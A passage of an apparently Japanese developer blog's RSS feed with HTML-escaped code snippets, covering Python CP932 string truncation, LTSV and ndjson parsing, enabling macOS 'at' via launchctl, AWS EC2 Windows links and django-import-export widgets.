&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; _cache_controlled
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; _cache_controller
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PurchaseOrder&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@cached_value&lt;/span&gt;(key&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;webservice_accesstoken&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_accesstoken&lt;/span&gt;(self, current&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, reset&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; Token(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;company&lt;span style="color:#f92672"&gt;.&lt;/span&gt;credentials)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;update_token(current)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>cp932</title><link>https://hdknr.github.io/blogs/posts/2023/06/cp932/</link><pubDate>Wed, 21 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/cp932/</guid><description>&lt;h1 id="cp932-の最大バイト数を超えない長さで文字列を丸める"&gt;CP932 の最大バイト数を超えない長さで文字列を丸める&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; itertools &lt;span style="color:#f92672"&gt;import&lt;/span&gt; accumulate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;cp932_substr&lt;/span&gt;(source, max_length):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;CP932での最大バイト数(max_length) を超えない文字数で丸める&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; source:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; map(&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: len(i&lt;span style="color:#f92672"&gt;.&lt;/span&gt;encode(&lt;span style="color:#e6db74"&gt;&amp;#34;cp932&amp;#34;&lt;/span&gt;)), source)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; target &lt;span style="color:#f92672"&gt;=&lt;/span&gt; filter(&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: i &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; max_length, accumulate(data))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len(list(target))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; source[:count]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>AWS Windows</title><link>https://hdknr.github.io/blogs/posts/2023/06/aws-windows/</link><pubDate>Tue, 20 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/aws-windows/</guid><description>&lt;h1 id="aws-ec2-windows"&gt;AWS EC2 Windows&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/wattanx/articles/4c4b3750ba8a92"&gt;AWS EC2 で起動した Windows Server を日本語設定にする&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://win.just4fun.biz/?%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88/%E8%8B%B1%E8%AA%9E%E3%83%A2%E3%83%BC%E3%83%89%E3%83%BB%E6%97%A5%E6%9C%AC%E8%AA%9E%E3%83%A2%E3%83%BC%E3%83%89%E3%81%AE%E5%88%87%E3%82%8A%E6%9B%BF%E3%81%88%E6%96%B9%E6%B3%95%E3%83%BBchcp"&gt;コマンドプロンプト/英語モード・日本語モードの切り替え方法・chcp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/setalb_access_to_be_allowed_only_from_cloudfront/"&gt;ALB のアクセスを CloudFront からだけに許可するように設定してみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/about-aws/whats-new/2022/02/amazon-cloudfront-managed-prefix-list/"&gt;Amazon VPC で Amazon CloudFront 用に AWS が管理するプレフィックスリストのサポートを開始&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/vpc/latest/userguide/working-with-aws-managed-prefix-lists.html"&gt;Work with AWS-managed prefix lists&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/WindowsGuide/ResettingAdminPassword_EC2Launchv2.html"&gt;EC2Launch v2 を使用した Windows 管理者パスワードのリセット&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>at</title><link>https://hdknr.github.io/blogs/posts/2023/06/at/</link><pubDate>Sun, 18 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/at/</guid><description>&lt;h1 id="at-コマンド"&gt;&lt;code&gt;at&lt;/code&gt; コマンド&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://neos21.net/blog/2019/09/13-02.html"&gt;MacOS で at コマンドを有効化して使ってみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;手順:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/System/Library/LaunchDaemons/com.apple.atrun.plist で、&lt;code&gt;Disabled&lt;/code&gt; を &lt;code&gt;false&lt;/code&gt; に変更&lt;/li&gt;
&lt;li&gt;/System/Library/LaunchDaemons/com.apple.atrun.plist を再ロード&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/System/Library/LaunchDaemons/com.apple.atrun.plist: service already loaded
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Load failed: 37: Operation already in progress
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>ltsv</title><link>https://hdknr.github.io/blogs/posts/2023/06/ltsv/</link><pubDate>Fri, 16 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/ltsv/</guid><description>&lt;h1 id="ltsv-形式"&gt;&lt;code&gt;ltsv&lt;/code&gt; 形式&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://ltsv.org/"&gt;http://ltsv.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hekyou/python-ltsv"&gt;https://github.com/hekyou/python-ltsv&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="pip-install-ltsv"&gt;pip install ltsv&lt;/h2&gt;
&lt;p&gt;To process LTSV files in Python, you can use the &lt;strong&gt;ltsv&lt;/strong&gt; package available on PyPI ².
Here is an example of how to use it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; ltsv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; open(&lt;span style="color:#e6db74"&gt;&amp;#39;file.ltsv&amp;#39;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; record &lt;span style="color:#f92672"&gt;in&lt;/span&gt; ltsv&lt;span style="color:#f92672"&gt;.&lt;/span&gt;reader(f):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(record)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;This code will read the LTSV file line by line and print each record as a dictionary ¹.&lt;/p&gt;</description></item><item><title>ndjson</title><link>https://hdknr.github.io/blogs/posts/2023/06/ndjson/</link><pubDate>Wed, 14 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/ndjson/</guid><description>&lt;h2 id="ndjson"&gt;ndjson&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/rhgrant10/ndjson"&gt;https://github.com/rhgrant10/ndjson&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/3d92e36bb3bbe85b7e913e61a6490be8"&gt;Snowflake: CREATE FILE FORMAT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dk521123.hatenablog.com/entry/2022/08/30/224248"&gt;【Python】Python ～ ndjson を扱う ～&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;tablib は ndjson をサポートしていない&lt;/li&gt;
&lt;li&gt;pandas は ndjson を読み込める&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>django-import-export M2M</title><link>https://hdknr.github.io/blogs/posts/2023/06/django-import-export-m2m/</link><pubDate>Fri, 09 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/django-import-export-m2m/</guid><description>&lt;h2 id="django-import-export-m2m-fk"&gt;django-import-export M2M, FK&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/70870109/django-import-export-importing-manytomany-from-xlsx"&gt;django-import-export, importing ManyToMany from XLSX&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://django-import-export.readthedocs.io/en/latest/api_widgets.html"&gt;Widgets&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="groupwidget"&gt;GroupWidget&lt;/h2&gt;
&lt;p&gt;どちらでも使える:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Users.groups&lt;/li&gt;
&lt;li&gt;Permission.group_set&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; import_export &lt;span style="color:#f92672"&gt;import&lt;/span&gt; widgets, fields
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;GroupWidget&lt;/span&gt;(widgets&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ManyToManyWidget):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;clean&lt;/span&gt;(self, value, row&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; value:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;model&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;none()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;field &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 存在しない場合作成する&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ids &lt;span style="color:#f92672"&gt;=&lt;/span&gt; value&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;separator)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ids &lt;span style="color:#f92672"&gt;=&lt;/span&gt; filter(&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, [i&lt;span style="color:#f92672"&gt;.&lt;/span&gt;strip() &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; ids])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; map(&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;model&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_or_create(name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;i)[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;], ids)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; super()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;clean(self, value, row&lt;span style="color:#f92672"&gt;=&lt;/span&gt;row, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="contenttypewidget"&gt;ContentTypeWidget&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Permission.content_type など ForeingKey 定義されていると使える&lt;/li&gt;
&lt;li&gt;データは &lt;code&gt;{app_label}.{model}&lt;/code&gt; でレンダリングされるので、取り込む時に &lt;code&gt;split('.')&lt;/code&gt; する&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
